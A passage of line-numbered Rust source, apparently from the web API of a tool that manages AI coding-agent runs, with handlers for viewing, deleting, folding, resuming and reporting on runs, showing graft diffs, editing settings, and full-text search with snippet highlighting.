3316#[derive(Debug, Default, Serialize)]
3317struct ReviewerMd {
3318 summary: Vec<md::Node>,
3319 findings: Vec<Vec<md::Node>>,
3321}
3322
3323#[derive(Debug, Default, Serialize)]
3324struct FixMd {
3325 notes: Vec<md::Node>,
3326 rejected: Vec<Vec<md::Node>>,
3328}
3329
3330fn run_prose_md(state: &RunState) -> RunProseMd {
3332 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3333 RunProseMd {
3334 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3335 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3336 approaches: a
3337 .records
3338 .iter()
3339 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3340 .collect(),
3341 }),
3342 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3343 reviews_md: state
3344 .reviews
3345 .iter()
3346 .map(|round| RoundMd {
3347 reviewers: round
3348 .reviews
3349 .iter()
3350 .map(|rec| ReviewerMd {
3351 summary: nodes(&rec.summary),
3352 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3353 })
3354 .collect(),
3355 reconsideration: round
3356 .reconsideration
3357 .iter()
3358 .map(|rv| nodes(&rv.reason))
3359 .collect(),
3360 fix: round.fix.as_ref().map(|fix| FixMd {
3361 notes: nodes(&fix.notes),
3362 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3363 }),
3364 })
3365 .collect(),
3366 }
3367}
3368
3369impl RunDetailView {
3370 fn of(
3371 state: RunState,
3372 waiting: bool,
3373 live: crate::run::Liveness,
3374 superseded_by: Option<String>,
3375 latest_attempt: Option<LatestAttempt>,
3376 task: Option<TaskRef>,
3377 ) -> Self {
3378 let display_status = run_display_status(&state, waiting, live);
3379 let stop_reason = crate::stop_reason::of(
3380 &state,
3381 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3382 );
3383 Self {
3384 stop_reason,
3385 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3386 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3387 prose_md: run_prose_md(&state),
3388 origin_label: crate::run::origin_label(state.origin.as_ref()),
3389 live,
3390 unmerged_by_design: state.unmerged_by_design(),
3391 waiting,
3392 display_status,
3393 done: state.status.done(),
3394 superseded_by,
3395 latest_attempt,
3396 task,
3397 state,
3398 }
3399 }
3400}
3401
3402async fn run_detail(
3403 State(ui): State<Arc<Ui>>,
3404 Path(id): Path<String>,
3405) -> ApiResult<Json<RunDetailView>> {
3406 blocking(move || {
3407 let id = resolve_run(&ui.runs, &id)?;
3408 let state = read_run(&ui.runs, &id)?;
3409 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3410 let live = state.liveness(daemon_claims);
3411 let waiting = !ui.questions.open_for(&id).is_empty();
3412 let superseded_by = state
3413 .pr_taken_over_by
3414 .clone()
3415 .or_else(|| ui.queue.superseded_by(&id))
3416 .as_deref()
3417 .map(crate::run::short_of)
3418 .map(str::to_owned);
3419 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3423 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3424 short: head.short().to_owned(),
3425 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3426 status: head.status,
3427 done: head.status.done(),
3428 id: head.id,
3429 })
3430 });
3431 let max_attempts = daemon::Opts::default().max_attempts;
3432 let task = ui
3433 .queue
3434 .list()
3435 .into_iter()
3436 .find(|t| t.runs.contains(&id))
3437 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3438 Ok(Json(RunDetailView::of(
3439 state,
3440 waiting,
3441 live,
3442 superseded_by,
3443 latest_attempt,
3444 task,
3445 )))
3446 })
3447 .await
3448}
3449
3450async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3459 let (id, unreadable) = {
3460 let ui = Arc::clone(&ui);
3461 blocking(move || {
3462 let id = resolve_run(&ui.runs, &id)?;
3463 match read_run(&ui.runs, &id) {
3464 Ok(state) => {
3465 let in_flight =
3466 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3467 state
3468 .ensure_can_delete(in_flight)
3469 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3470 let dir = ui.runs.join(&id);
3471 std::fs::remove_dir_all(&dir)
3472 .with_context(|| format!("remove run directory {}", dir.display()))?;
3473 Ok((id, false))
3474 }
3475 Err(_) => {
3476 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3480 return Err(ApiError::conflict(format!(
3481 "run {id} is being worked on by a live daemon right now"
3482 )));
3483 }
3484 Ok((id, true))
3485 }
3486 }
3487 })
3488 .await?
3489 };
3490 if unreadable {
3491 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3492 .await
3493 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3494 }
3495 let ui = Arc::clone(&ui);
3496 let done = id.clone();
3497 blocking(move || {
3498 ui.questions.abandon_for_run(
3501 &done,
3502 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3503 )?;
3504 Ok(())
3505 })
3506 .await?;
3507 Ok(StatusCode::NO_CONTENT)
3508}
3509
3510async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3534 let (id, state) = {
3535 let ui = Arc::clone(&ui);
3536 blocking(move || {
3537 let id = resolve_run(&ui.runs, &id)?;
3538 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3539 return Err(ApiError::conflict(format!(
3540 "run {id} is being worked on by a live daemon right now"
3541 )));
3542 }
3543 let state = read_run(&ui.runs, &id).ok();
3544 Ok((id, state))
3545 })
3546 .await?
3547 };
3548 let removed = match state {
3549 Some(mut state) => {
3550 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3551 .await
3552 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3553 if removed.is_empty() {
3558 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3559 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3560 }
3561 removed
3562 }
3563 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3564 .await
3565 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3566 };
3567 Ok(Json(FoldView {
3568 run: id,
3569 removed_count: removed.len(),
3570 removed,
3571 }))
3572}
3573
3574#[derive(Debug, Serialize)]
3576struct FoldView {
3577 run: String,
3578 removed: Vec<String>,
3580 removed_count: usize,
3581}
3582
3583#[derive(Debug, Deserialize)]
3586struct FoldMergedBody {
3587 #[serde(default)]
3588 pr_url: String,
3589}
3590
3591async fn run_fold_merged(
3611 State(ui): State<Arc<Ui>>,
3612 Path(id): Path<String>,
3613 Json(body): Json<FoldMergedBody>,
3614) -> ApiResult<Json<FoldMergedView>> {
3615 let pr_url = body.pr_url.trim().to_owned();
3616 if pr_url.is_empty() {
3617 return Err(ApiError::bad_request("pr_url is required"));
3618 }
3619 let (id, mut state) = {
3620 let ui = Arc::clone(&ui);
3621 blocking(move || {
3622 let id = resolve_run(&ui.runs, &id)?;
3623 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3624 return Err(ApiError::conflict(format!(
3625 "run {id} is being worked on by a live daemon right now"
3626 )));
3627 }
3628 let state = read_run(&ui.runs, &id)?;
3629 Ok((id, state))
3630 })
3631 .await?
3632 };
3633 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3634 .await
3635 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3636 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3637 .await
3638 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3639 Ok(Json(FoldMergedView {
3640 run: id,
3641 before: before.as_str().to_owned(),
3642 after: after.as_str().to_owned(),
3643 removed,
3644 }))
3645}
3646
3647#[derive(Debug, Serialize)]
3649struct FoldMergedView {
3650 run: String,
3651 before: String,
3653 after: String,
3655 removed: Vec<String>,
3657}
3658
3659async fn run_resume(
3679 State(ui): State<Arc<Ui>>,
3680 Path(id): Path<String>,
3681) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3682 let (id, state) = {
3683 let ui = Arc::clone(&ui);
3684 blocking(move || {
3685 let id = resolve_run(&ui.runs, &id)?;
3686 let state = read_run(&ui.runs, &id)?;
3687 Ok((id, state))
3688 })
3689 .await?
3690 };
3691 if let Some(to) = state
3692 .pr_taken_over_by
3693 .as_ref()
3694 .or(state.released_to.as_ref())
3695 {
3696 return Err(ApiError::conflict(format!(
3697 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3698 state.short(),
3699 crate::run::short_of(to)
3700 )));
3701 }
3702 if !state.status.resumable() {
3703 return Err(ApiError::conflict(format!(
3704 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3705 state.short(),
3706 status_word(state.status)
3707 )));
3708 }
3709 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3714 .into_iter()
3715 .next()
3716 {
3717 return Err(ApiError::conflict(format!(
3718 "the loop is running run {} right now; stop it first, or wait for \
3719 it to finish, before resuming a run by hand.",
3720 crate::run::short_of(&work.run)
3721 )));
3722 }
3723 let _resume = ui.begin_resume(&id)?;
3724
3725 let queued = RunSummary::of(
3728 &state,
3729 !ui.questions.open_for(&id).is_empty(),
3730 state.liveness(false),
3731 );
3732 let run = id.clone();
3733 tokio::spawn(async move {
3734 let _resume = _resume;
3735 match crate::graph::Runner::resume(&run) {
3736 Ok(mut runner) => {
3737 if let Err(e) = runner.execute().await {
3738 tracing::warn!("resume of run {run} stopped: {e:#}");
3739 }
3740 }
3741 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3744 }
3745 });
3746 Ok((StatusCode::ACCEPTED, Json(queued)))
3747}
3748
3749async fn run_report(
3750 State(ui): State<Arc<Ui>>,
3751 Path(id): Path<String>,
3752) -> ApiResult<impl IntoResponse> {
3753 let text = blocking(move || {
3754 let id = resolve_run(&ui.runs, &id)?;
3755 let state = read_run(&ui.runs, &id)?;
3759 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3760 let live = state.liveness(daemon_claims);
3761 Ok(format!(
3762 "{}{}",
3763 report::run(&state),
3764 report::active_seats(&state, live)
3765 ))
3766 })
3767 .await?;
3768 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3769}
3770
3771async fn run_report_json(
3775 State(ui): State<Arc<Ui>>,
3776 Path(id): Path<String>,
3777) -> ApiResult<Json<crate::report_view::RunReportView>> {
3778 let view = blocking(move || {
3779 let id = resolve_run(&ui.runs, &id)?;
3780 let state = read_run(&ui.runs, &id)?;
3781 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3782 let recovered = state.graft.as_ref().map(|_| {
3784 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3785 });
3786 Ok(crate::report_view::build_with(
3787 &state,
3788 state.liveness(daemon_claims),
3789 recovered.as_ref(),
3790 ))
3791 })
3792 .await?;
3793 Ok(Json(view))
3794}
3795
3796const GRAFT_DIFF_MAX: usize = 400 * 1024;
3798const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3800
3801async fn run_graft_diff(
3804 State(ui): State<Arc<Ui>>,
3805 Path(id): Path<String>,
3806) -> ApiResult<impl IntoResponse> {
3807 let (repo, pre, post) = blocking(move || {
3808 let id = resolve_run(&ui.runs, &id)?;
3809 let state = read_run(&ui.runs, &id)?;
3810 let g = state
3811 .graft
3812 .as_ref()
3813 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3814 let post = g
3815 .post
3816 .clone()
3817 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3818 Ok((state.repo.clone(), g.pre.clone(), post))
3819 })
3820 .await?;
3821 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3822 if !hex(&pre) || !hex(&post) {
3823 return Err(ApiError::not_found("the recorded commits are not valid"));
3824 }
3825 let out = tokio::time::timeout(
3826 GRAFT_DIFF_TIMEOUT,
3827 crate::git::git_raw(
3828 &repo,
3829 &[
3830 "diff",
3831 "--no-color",
3832 "--no-ext-diff",
3833 "-M",
3834 &pre,
3835 &post,
3836 "--",
3837 ],
3838 ),
3839 )
3840 .await
3841 .map_err(|_| ApiError::not_found("git diff timed out"))?
3842 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3843 if out.code != Some(0) {
3844 return Err(ApiError::not_found(
3845 "the recorded commits are no longer in the repository",
3846 ));
3847 }
3848 let mut body = out.stdout;
3849 if body.len() > GRAFT_DIFF_MAX {
3850 let mut cut = GRAFT_DIFF_MAX;
3851 while !body.is_char_boundary(cut) {
3852 cut -= 1;
3853 }
3854 body.truncate(cut);
3855 body.push_str("\n... diff truncated ...");
3856 }
3857 Ok((
3858 [
3859 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
3860 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3861 ],
3862 body,
3863 ))
3864}
3865
3866#[derive(Debug, Serialize)]
3872struct TaskView {
3873 #[serde(flatten)]
3874 task: Task,
3875 source_label: String,
3876 source_link: Option<SourceLink>,
3877 status_str: &'static str,
3878 instruction_md: Vec<md::Node>,
3882 waits_on: Vec<String>,
3886 stuck_roots: Vec<String>,
3889}
3890
3891impl From<Task> for TaskView {
3892 fn from(task: Task) -> Self {
3893 Self {
3894 source_label: task.source.label(),
3895 source_link: source_link(&task.source),
3896 status_str: task.status.as_str(),
3897 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3898 waits_on: Vec::new(),
3899 stuck_roots: Vec::new(),
3900 task,
3901 }
3902 }
3903}
3904
3905impl TaskView {
3906 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3907 let waits_on = inv.waits_on(&task);
3908 let stuck_roots = inv
3909 .stuck_roots(&task)
3910 .iter()
3911 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3912 .collect();
3913 Self {
3914 waits_on,
3915 stuck_roots,
3916 ..Self::from(task)
3917 }
3918 }
3919}
3920
3921#[derive(Debug, Default, Deserialize)]
3924#[serde(default)]
3925struct ReposQuery {
3926 refresh: u8,
3927}
3928
3929async fn repos_list(
3936 State(ui): State<Arc<Ui>>,
3937 Query(q): Query<ReposQuery>,
3938) -> ApiResult<Json<Vec<repos::Repo>>> {
3939 let refresh = q.refresh != 0;
3940 blocking(move || {
3941 let (cfg, _) = Config::discover(&ui.repo, None)?;
3942 Ok(Json(ui.repos_cache.list(
3943 &cfg.repos.roots,
3944 Duration::from_secs(cfg.repos.scan_ttl),
3945 refresh,
3946 )))
3947 })
3948 .await
3949}
3950
3951#[derive(Debug, Default, Deserialize)]
3953struct SettingsQuery {
3954 repo: Option<PathBuf>,
3955}
3956
3957fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
3961 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
3962 let paths: Vec<PathBuf> = ui
3963 .machine_config
3964 .iter()
3965 .filter(|p| p.is_file())
3966 .cloned()
3967 .collect();
3968 if paths.is_empty() {
3969 Ok(Config::autodetected())
3970 } else {
3971 Config::load_layers(&paths)
3972 }
3973 });
3974 let mut known = cfg
3975 .map(|cfg| {
3976 ui.repos_cache.list(
3977 &cfg.repos.roots,
3978 Duration::from_secs(cfg.repos.scan_ttl),
3979 refresh,
3980 )
3981 })
3982 .unwrap_or_default();
3983 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
3984 if !known.iter().any(|r| r.path == path) {
3985 known.push(repos::Repo {
3986 name: path
3987 .file_name()
3988 .unwrap_or_default()
3989 .to_string_lossy()
3990 .into_owned(),
3991 path,
3992 });
3993 }
3994 known
3995}
3996
3997fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
3998 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
3999 let canonical = requested.canonicalize().ok();
4000 let mut known = settings_repositories(ui, false);
4001 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4002 if !known.iter().any(matches) {
4003 known = settings_repositories(ui, true);
4004 }
4005 let repo = known
4006 .iter()
4007 .find(|r| matches(r))
4008 .map(|r| r.path.clone())
4009 .ok_or_else(|| ApiError {
4010 status: StatusCode::UNPROCESSABLE_ENTITY,
4011 message: "Choose a known repository from the Settings selector.".to_owned(),
4012 })?;
4013 Ok((repo, known))
4014}
4015
4016async fn settings_get(
4020 State(ui): State<Arc<Ui>>,
4021 Query(q): Query<SettingsQuery>,
4022) -> ApiResult<Json<settings::SettingsView>> {
4023 blocking(move || {
4024 let (repo, known) = settings_context(&ui, q)?;
4025 Ok(Json(settings::view_with_repos(
4026 &repo,
4027 ui.machine_config.as_deref(),
4028 &known,
4029 )))
4030 })
4031 .await
4032}
4033
4034#[derive(Debug, Deserialize)]
4036#[serde(deny_unknown_fields)]
4037struct RolesBody {
4038 revision: String,
4040 #[serde(default)]
4042 roles: std::collections::BTreeMap<String, Vec<String>>,
4043 #[serde(default)]
4047 counts: std::collections::BTreeMap<String, serde_json::Value>,
4048}
4049
4050async fn settings_put_roles(
4056 State(ui): State<Arc<Ui>>,
4057 Query(q): Query<SettingsQuery>,
4058 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4059) -> ApiResult<Json<settings::SettingsView>> {
4060 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4061 blocking(move || {
4062 let (repo, known) = settings_context(&ui, q)?;
4063 settings::save_with_repos(
4064 &repo,
4065 ui.machine_config.as_deref(),
4066 &body.revision,
4067 &body.roles,
4068 &body.counts,
4069 &known,
4070 )
4071 .map(Json)
4072 .map_err(|e| match e {
4073 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4074 settings::SaveError::Refused(m) => ApiError {
4075 status: StatusCode::UNPROCESSABLE_ENTITY,
4076 message: m,
4077 },
4078 settings::SaveError::Internal(m) => ApiError::internal(m),
4079 })
4080 })
4081 .await
4082}
4083
4084async fn queue_list(
4085 State(ui): State<Arc<Ui>>,
4086 Query(q): Query<ListQuery>,
4087) -> ApiResult<Json<Vec<TaskView>>> {
4088 blocking(move || {
4089 let tasks = ui.queue.list();
4090 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4091 Ok(Json(
4092 tasks
4093 .into_iter()
4094 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4095 .map(|t| TaskView::with_inventory(t, &inv))
4096 .collect(),
4097 ))
4098 })
4099 .await
4100}
4101
4102const SEARCH_MAX_HITS: usize = 100;
4104const SEARCH_MAX_QUERY: usize = 200;
4106const SEARCH_MAX_TERMS: usize = 8;
4107const SNIPPET_BEFORE: usize = 50;
4109const SNIPPET_AFTER: usize = 110;
4110
4111#[derive(Debug, Deserialize)]
4113struct SearchQuery {
4114 #[serde(default)]
4115 scope: String,
4116 #[serde(default)]
4117 q: String,
4118}
4119
4120#[derive(Debug, Serialize, PartialEq, Eq)]
4123struct SnippetPart {
4124 text: String,
4125 hit: bool,
4126}
4127
4128#[derive(Debug, Serialize)]
4129struct SearchHit {
4130 id: String,
4131 field: String,
4133 snippet: Vec<SnippetPart>,
4134 #[serde(skip_serializing_if = "Option::is_none")]
4138 run: Option<RunSummary>,
4139}
4140
4141#[derive(Debug, Serialize)]
4142struct SearchView {
4143 scope: String,
4144 q: String,
4145 hits: Vec<SearchHit>,
4147 total: usize,
4149 truncated: bool,
4150 unreadable: usize,
4153}
4154
4155fn text_leaves<'a>(
4158 value: &'a serde_json::Value,
4159 field: &'a str,
4160 out: &mut Vec<(&'a str, &'a str)>,
4161) {
4162 match value {
4163 serde_json::Value::String(s) => out.push((field, s)),
4164 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4165 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4166 _ => {}
4167 }
4168}
4169
4170fn fold_char(c: char) -> char {
4173 c.to_lowercase().next().unwrap_or(c)
4174}
4175
4176fn search_terms(q: &str) -> Vec<String> {
4178 let mut terms: Vec<String> = Vec::new();
4179 for t in q.split_whitespace() {
4180 let t = t.to_lowercase();
4181 if !terms.contains(&t) {
4182 terms.push(t);
4183 }
4184 }
4185 terms
4186}
4187
4188fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4191 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4192 let mut first: Option<usize> = None;
4193 for term in terms {
4194 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4195 first = Some(first.map_or(at, |f| f.min(at)));
4196 }
4197 let (field, text) = leaves[first?];
4199 Some(SearchHit {
4200 id: String::new(),
4201 field: field.to_owned(),
4202 snippet: snippet_of(text, terms),
4203 run: None,
4204 })
4205}
4206
4207fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4210 let chars: Vec<char> = text.chars().collect();
4211 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4212 let needles: Vec<Vec<char>> = terms
4213 .iter()
4214 .map(|t| t.chars().map(fold_char).collect())
4215 .collect();
4216 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4217 let mut best: Option<(usize, usize)> = None;
4218 for n in needles.iter().filter(|n| !n.is_empty()) {
4219 if n.len() > chars.len() || to == 0 {
4223 continue;
4224 }
4225 let last = (to - 1).min(chars.len() - n.len());
4226 if from > last {
4227 continue;
4228 }
4229 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4230 && best.is_none_or(|(b, _)| i < b)
4231 {
4232 best = Some((i, i + n.len()));
4233 }
4234 }
4235 best
4236 };
4237 let Some((start, _)) = find(0, chars.len()) else {
4238 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4240 return vec![SnippetPart {
4241 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4242 hit: false,
4243 }];
4244 };
4245 let lo = start.saturating_sub(SNIPPET_BEFORE);
4246 let hi = (start + SNIPPET_AFTER).min(chars.len());
4247 let mut parts: Vec<SnippetPart> = Vec::new();
4248 let mut push = |s: &[char], hit: bool| {
4249 if s.is_empty() {
4250 return;
4251 }
4252 let text: String = s.iter().collect();
4253 match parts.last_mut() {
4254 Some(p) if p.hit == hit => p.text.push_str(&text),
4255 _ => parts.push(SnippetPart { text, hit }),
4256 }
4257 };
4258 if lo > 0 {
4259 push(&['\u{2026}'], false);
4260 }
4261 let mut at = lo;
4262 while at < hi {
4263 match find(at, hi) {
4264 Some((s, e)) => {
4265 push(&chars[at..s], false);
4266 let shown = e.min(hi);
4268 push(&chars[s..shown], true);
4269 at = shown;
4270 }
4271 None => {
4272 push(&chars[at..hi], false);
4273 at = hi;
4274 }
4275 }
4276 }
4277 if hi < chars.len() {
4278 push(&['\u{2026}'], false);
4279 }
4280 let mut prev_space = false;
4283 for p in &mut parts {
4284 let mut out = String::with_capacity(p.text.len());
4285 for c in p.text.chars() {
4286 if c.is_whitespace() {
4287 if !prev_space {
4288 out.push(' ');
4289 }
4290 prev_space = true;
4291 } else {
4292 out.push(c);
4293 prev_space = false;
4294 }
4295 }
4296 p.text = out;
4297 }
4298 parts.retain(|p| !p.text.is_empty());
4299 parts
4300}
4301
4302fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4304where
4305 I: IntoIterator<Item = (String, serde_json::Value)>,
4306{
4307 for (id, doc) in docs {
4308 let mut leaves = Vec::new();
4309 leaves.push(("id", id.as_str()));
4312 text_leaves(&doc, "", &mut leaves);
4313 if let Some(mut hit) = search_document(terms, &leaves) {
4314 view.total += 1;
4315 if view.hits.len() < SEARCH_MAX_HITS {
4316 hit.id = id;
4317 view.hits.push(hit);
4318 }
4319 }
4320 }
4321 view.truncated = view.total > view.hits.len();
4322}
4323
4324fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4331 let opener = talk
4332 .turns
4333 .iter()
4334 .find(|t| t.who == crate::talk::Who::Operator)
4335 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4336 .unwrap_or("");
4337 let title: String = if opener.chars().count() > 96 {
4338 opener.chars().take(95).chain(['\u{2026}']).collect()
4339 } else {
4340 opener.to_owned()
4341 };
4342 let turns: Vec<serde_json::Value> = talk
4343 .turns
4344 .iter()
4345 .map(|t| {
4346 let who = match t.who {
4347 crate::talk::Who::Operator => "operator",
4348 crate::talk::Who::Agent => "agent",
4349 };
4350 serde_json::json!({ who: t.body })
4351 })
4352 .collect();
4353 serde_json::json!({ "title": title, "turns": turns })
4354}
4355
4356async fn search_get(
4363 State(ui): State<Arc<Ui>>,
4364 Query(q): Query<SearchQuery>,
4365) -> ApiResult<Json<SearchView>> {
4366 let query = q.q.trim().to_owned();
4367 if query.is_empty() {
4368 return Err(ApiError::bad_request("q must not be empty"));
4369 }
4370 if query.chars().count() > SEARCH_MAX_QUERY {
4371 return Err(ApiError::bad_request(format!(
4372 "q is longer than {SEARCH_MAX_QUERY} characters"
4373 )));
4374 }
4375 let terms = search_terms(&query);
4376 if terms.len() > SEARCH_MAX_TERMS {
4377 return Err(ApiError::bad_request(format!(
4378 "q has more than {SEARCH_MAX_TERMS} terms"
4379 )));
4380 }
4381 let scope = q.scope;
4382 if scope != "runs" && scope != "tasks" && scope != "chats" {
4383 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4384 }
4385 blocking(move || {
4386 let mut view = SearchView {
4387 scope: scope.clone(),
4388 q: query,
4389 hits: Vec::new(),
4390 total: 0,
4391 truncated: false,
4392 unreadable: 0,
4393 };
4394 if scope == "runs" {
4395 let mut unreadable = 0;
4396 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4400 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4401 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4402 Some(v) => Some((id, v)),
4403 None => {
4404 unreadable += 1;
4405 None
4406 }
4407 }
4408 });
4409 search_docs(&terms, docs, &mut view);
4410 view.unreadable = unreadable;
4411 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4414 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4415 for hit in &mut view.hits {
4416 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4417 hit.run = summarize(
4418 [state],
4419 &open_runs,
4420 &claimed,
4421 &superseded,
4422 |p| probe.borrow_mut().status(p),
4423 |p| probe.borrow_mut().started_at(p),
4424 )
4425 .pop();
4426 }
4427 }
4428 } else if scope == "chats" {
4429 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4430 view.unreadable = unreadable;
4431 search_docs(
4432 &terms,
4433 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4434 &mut view,
4435 );
4436 } else {
4437 let docs = ui.queue.list().into_iter().filter_map(|t| {
4438 let mut v = serde_json::to_value(&t).ok()?;
4439 if let Some(o) = v.as_object_mut() {
4442 o.insert("filed_by".to_owned(), t.source.label().into());
4443 }
4444 Some((t.id, v))
4445 });
4446 search_docs(&terms, docs, &mut view);
4447 }
4448 Ok(Json(view))
4449 })
4450 .await
4451}
4452
4453#[derive(Debug, Serialize)]
4455struct TaskRunView {
4456 n: usize,
4458 id: String,
4459 short: String,
4460 kind: &'static str,
4462 status: Option<&'static str>,
4464 readable: bool,
4466 provisional: bool,
4468 description: String,
4470 outcome: String,
4472 created_at: Option<Timestamp>,
4473 pr: Option<String>,
4474 exit: RunExit,
4476 attempt: AttemptCost,
4478 exit_label: String,
4481 later_pass: Option<usize>,
4484 pass_n: usize,
4488 passes_of_run: usize,
4489 pass: Option<PassView>,
4492 branch: Option<String>,
4494}
4495
4496#[derive(Debug, Clone, PartialEq, Serialize)]
4498struct PassView {
4499 index: usize,
4500 resumed: bool,
4501 started_at: Timestamp,
4502 ended_at: Option<Timestamp>,
4503 end: &'static str,
4505 cause: Option<crate::run::ParkCause>,
4506 label: String,
4508 cost: Option<crate::queue::PassCost>,
4511}
4512
4513impl PassView {
4514 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4515 use crate::run::PassEnd;
4516 let (end, cause, label) = match &p.end {
4517 None => ("open", None, "still open".to_owned()),
4518 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4519 Some(PassEnd::Unrecorded) => (
4520 "unrecorded",
4521 None,
4522 "stopped without recording why (a crash, a kill or a restart; not known)"
4523 .to_owned(),
4524 ),
4525 };
4526 Self {
4527 index: p.index,
4528 resumed: p.resumed,
4529 started_at: p.started_at,
4530 ended_at: p.ended_at,
4531 end,
4532 cause,
4533 label,
4534 cost: settled.map(|t| t.cost),
4535 }
4536 }
4537}
4538
4539#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4541#[serde(rename_all = "snake_case")]
4542enum RunExit {
4543 Unreadable,
4544 Interrupted,
4546 Parked,
4547 QuotaStall,
4548 ResumedQuotaStall,
4552 Merged,
4553 Ready,
4554 Superseded,
4555 AlreadyInBase,
4558 Stalled,
4560 HeldWithPr,
4562 NoopHeld,
4563 Spent,
4565 InProgress,
4566}
4567
4568#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4569#[serde(rename_all = "snake_case")]
4570enum AttemptCost {
4571 Spent,
4572 Refunded,
4573 None,
4574 Unknown,
4576}
4577
4578impl RunExit {
